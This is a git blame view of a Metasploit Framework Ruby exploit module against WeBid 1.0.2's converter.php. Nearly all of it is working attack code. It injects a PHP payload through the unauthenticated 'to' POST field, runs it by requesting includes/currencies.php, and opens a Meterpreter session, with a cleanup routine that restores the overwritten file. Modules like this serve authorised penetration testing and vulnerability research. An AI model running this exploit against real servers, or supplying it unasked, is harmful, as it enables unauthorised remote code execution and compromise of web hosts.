Files
metasploit-gs/modules/exploits/linux/http/webid_converter.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

173 lines
4.5 KiB
Ruby
Raw Normal View History

2012-05-25 17:18:09 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-05-25 17:18:09 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-05-25 17:18:09 +02:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
def initialize(info = {})
2021-09-10 12:53:39 +01:00
super(
update_info(
info,
'Name' => 'WeBid converter.php Remote PHP Code Injection',
'Description' => %q{
2012-05-25 17:18:09 +02:00
This module exploits a vulnerability found in WeBid version 1.0.2.
2021-09-10 12:53:39 +01:00
By abusing the converter.php file, a malicious user can inject PHP code
in the includes/currencies.php script without any authentication, which
results in arbitrary code execution.
},
'Author' => [
'EgiX', # Vulnerability Discovery, PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'OSVDB', '73609' ],
2012-12-10 11:42:21 -06:00
[ 'EDB', '17487' ],
[ 'URL', 'http://www.webidsupport.com/forums/showthread.php?3892' ]
2012-05-25 17:18:09 +02:00
],
2021-09-10 12:53:39 +01:00
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' => {
2012-05-25 17:18:09 +02:00
},
2021-09-10 12:53:39 +01:00
'DisclosureDate' => '2011-07-05',
'Targets' => [
2012-05-25 20:16:13 +02:00
[ 'WeBid 1.0.2 / Ubuntu', {} ]
2012-05-25 17:18:09 +02:00
],
2021-10-06 13:43:31 +01:00
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_fs_delete_file
stdapi_fs_getwd
stdapi_fs_search
]
}
}
2012-05-25 17:18:09 +02:00
)
2021-09-10 12:53:39 +01:00
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
], self.class
)
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
self.needs_cleanup = true
2012-05-25 17:18:09 +02:00
end
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
def check
2013-01-30 23:23:41 -06:00
uri = target_uri.path
2021-09-10 12:53:39 +01:00
uri << '/' if uri[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
res = send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(uri, "docs/changes.txt")
2012-05-25 17:18:09 +02:00
})
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
return Exploit::CheckCode::Appears
end
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
res = send_request_cgi({
'method' => 'GET',
2021-09-10 12:53:39 +01:00
'uri' => uri + "converter.php"
2012-05-25 17:18:09 +02:00
})
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
return Exploit::CheckCode::Detected
end
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
def on_new_session(client)
peer = "#{client.peerhost}:#{client.peerport}"
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
if client.type != "meterpreter"
2016-02-01 15:12:03 -06:00
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The currencies.php won't be restored automatically.")
2012-05-25 17:18:09 +02:00
return
end
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
# Original currencies.php file
currencies_php = <<-eof
<?php
$conversionarray[] = '1265375103';
$conversionarray[] = array(
array('from' => 'GBP', 'to' => 'AED', 'rate' => '')
);
?>
eof
currencies_php = currencies_php.gsub(/^ {6}/, '')
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
pwd = client.fs.dir.pwd
2016-02-01 15:12:03 -06:00
print_status("Searching currencies.php file from #{pwd}")
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
res = client.fs.file.search(nil, "currencies.php", true, -1)
res.each do |hit|
filename = "#{hit['path']}/#{hit['name']}"
2016-02-01 15:12:03 -06:00
print_warning("Restoring #{filename}")
2012-05-25 17:18:09 +02:00
client.fs.file.rm(filename)
fd = client.fs.file.new(filename, "wb")
fd.write(currencies_php)
fd.close
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Cleanup finished")
2012-05-25 17:18:09 +02:00
end
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
def exploit
2013-01-30 23:23:41 -06:00
uri = target_uri.path
2021-09-10 12:53:39 +01:00
uri << '/' if uri[-1, 1] != '/'
2012-05-25 17:18:09 +02:00
peer = "#{rhost}:#{rport}"
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
stub = "\0'));#{payload.encoded}?>"
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Injecting the PHP payload")
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
response = send_request_cgi({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(uri, "converter.php"),
2012-05-25 17:18:09 +02:00
'method' => "POST",
'vars_post' => {
"action" => "convert",
"from" => "USD",
"to" => stub
}
})
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
return
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Executing the PHP payload")
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
timeout = 0.01
response = send_request_cgi({
2021-09-10 12:53:39 +01:00
'uri' => normalize_uri(uri, "includes/currencies.php"),
'method' => "GET",
'headers' => {
'Connection' => "close",
}
}, timeout)
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
end
2013-08-30 16:28:54 -05:00
2012-05-25 17:18:09 +02:00
handler
end
end